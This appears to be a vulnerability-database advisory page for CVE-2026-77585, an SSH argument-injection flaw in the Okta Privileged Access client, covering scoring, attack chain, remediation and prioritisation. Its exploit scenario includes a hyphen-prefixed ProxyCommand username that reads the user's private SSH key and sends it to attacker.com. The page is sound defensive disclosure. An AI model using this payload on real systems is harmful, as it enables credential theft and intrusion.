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Okta Privileged Access EUVDEUVD-2026-65962

| CVE-2026-77585 MEDIUM
OS Command Injection (CWE-78)
2026-08-25 psirt@okta.com GHSA-vxp6-p2w9-m3hj
5.3
CVSS 3.1 · Vendor: okta
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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain OPA target configuration access
  2. Delivery
    Create SSH target with hyphen-prefixed username
  3. Exploit
    Induce user to initiate SSH session via OPA client
  4. Execution
    Client passes unsanitized username to SSH subprocess
  5. Persist
    SSH interprets value as CLI option
  6. Impact
    Injected option executes attacker-controlled behavior

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that an attacker be able to influence the SSH target username presented to the Okta Privileged Access client - the most direct path is having sufficient permissions within the Okta Privileged Access console to create or modify SSH target definitions (an application-level privilege, not a local OS privilege). A legitimate user must then actively initiate an SSH session to the crafted target (UI:R), meaning the attacker must also be able to direct or deceive a user into connecting to the malicious target. The high attack complexity (AC:H) reflects these compounding preconditions. Exploitation is limited to: environments where the Okta Privileged Access client is deployed and used for SSH session brokering; scenarios where the attacker can influence OPA target configuration; and scenarios where a user can be induced to connect to the attacker-controlled target. The local attack vector (AV:L) means remote unauthenticated exploitation against default configurations is not possible.

Impact

The vendor-assigned CVSS 3.1 score of 5.3 Medium reflects several mitigating factors that meaningfully suppress real-world exploitability despite the C:H impact rating. AV:L constrains the attack surface to local environments where the Okta Privileged Access client is installed and running. AC:H signals that specific preconditions must align - namely, that an attacker must be able to influence the SSH target username presented to the client, which in practice requires some level of access to Okta Privileged Access target configuration. UI:R further requires that a legitimate user actively initiates an SSH connection to the malicious target. The combination of AV:L, AC:H, and UI:R makes opportunistic mass exploitation unlikely. No EPSS score was provided in the input data, and the absence of KEV listing and public POC confirms this has not been observed as actively exploited. The C:H impact is realistic given that SSH option injection via ProxyCommand or IdentityFile flags could redirect connections or exfiltrate key material, but this impact is only realizable under the constrained conditions above. Overall, this is a genuine but targeted-risk vulnerability, not a broadly automatable threat.

Exploit ScenarioDerived

An attacker with sufficient Okta Privileged Access permissions creates or modifies an SSH target definition, setting the username field to a hyphen-prefixed value such as '-oProxyCommand=/bin/bash -c "curl attacker.com/$(cat ~/.ssh/id_rsa | base64)"'. When a legitimate user subsequently opens an SSH session to that target through the Okta Privileged Access client, the client passes the malformed username directly to the SSH subprocess, which interprets it as a ProxyCommand option and executes the injected command in the context of the user's local session. No public exploit code is known at time of analysis.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.1% exploitation probability (EPSS)

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AnalysisAIv1 – Aug 25, 2026

Argument injection in the Okta Privileged Access client allows a crafted SSH target username beginning with a hyphen to be interpreted as a command-line option by the underlying SSH subprocess. Organizations using Okta Privileged Access for SSH session brokering are affected when a user initiates a connection to a target whose username has been set to a hyphen-prefixed value. If exploited, an attacker who can influence the target username definition could cause the SSH client to process injected options, achieving high confidentiality impact. No public exploit code is identified at time of analysis, and CISA KEV does not list this CVE.

RemediationAI

The primary remediation is to upgrade the Okta Privileged Access client to the version identified as fixed in the Okta PSIRT advisory at https://trust.okta.com/security-advisories/improper-validation-ssh-target-in-okta-privileged-access-client-cve-2026-77585 - the exact patched version number is not confirmed in the available input data and should be verified directly from the advisory before deployment. As a compensating control pending patching, Okta Privileged Access administrators should audit all configured SSH target definitions and enforce a naming policy that prohibits usernames beginning with a hyphen character; most PAM platforms support input validation rules at the target configuration layer. Additionally, restricting who can create or modify SSH target definitions to a minimal set of trusted administrators reduces the attacker's ability to introduce a malicious target. Note that this control does not eliminate the underlying vulnerability and patch deployment remains the definitive fix.

Affected VersionsENISA

Okta Privileged Access Client 1.59.0 <1.111.1

Affected Packages

euvd okta_privileged_access_client fix: 1.111.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This is an argument injection vulnerability, a subclass of CWE-78 (Improper Neutralization of Special Elements used in an OS Command). The Okta Privileged Access client constructs SSH subprocess invocations using user-supplied target metadata, including the username portion of the SSH target. Because the client does not sanitize or reject usernames beginning with a hyphen ('-'), a value such as '-oProxyCommand=<cmd>' or '-v' is passed directly to the SSH process, which interprets it as a command-line switch rather than a positional username argument. This pattern is a well-documented class of injection affecting tools that pass user-supplied strings to shell utilities without '--' argument termination or leading-hyphen validation. No CPE strings were provided in the input data; the affected product is the Okta Privileged Access client (desktop/agent component) as documented in the Okta PSIRT advisory.

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  • Exploit and PoC references, threat intelligence from 22 sources

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Severity by source

Vendor (okta) PRIMARY 5.3 MEDIUM
AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N
vuln.today AI 5.0 MEDIUM

AV:L for client-side application; PR:L because influencing OPA target definitions requires application-level access; UI:R and AC:H reflect user-initiated connection and multi-condition prerequisites.

3.1 AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:L/A:N
4.0 AV:L/AC:H/AT:P/PR:L/UI:A/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (okta).

CVSS VectorVendor: okta

Attack Vector
Local
Attack Complexity
High
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
None

Lifecycle Timeline

1
Patch available
Aug 25, 2026 - 22:04 EUVD

DescriptionCVE.org

The Okta Privileged Access client does not reject a leading hyphen in the username portion of an SSH target. As a result, the value may be interpreted as a command-line option by the underlying SSH process.

Threat Intelligence Overview

EPSS Score
0.1%
Top 99% exploitable
Prevalence
Medium
enterprise PAM tool, common in Okta-centric organizations
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Defer
Exploitation
None
System Exposure· derived
Small
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

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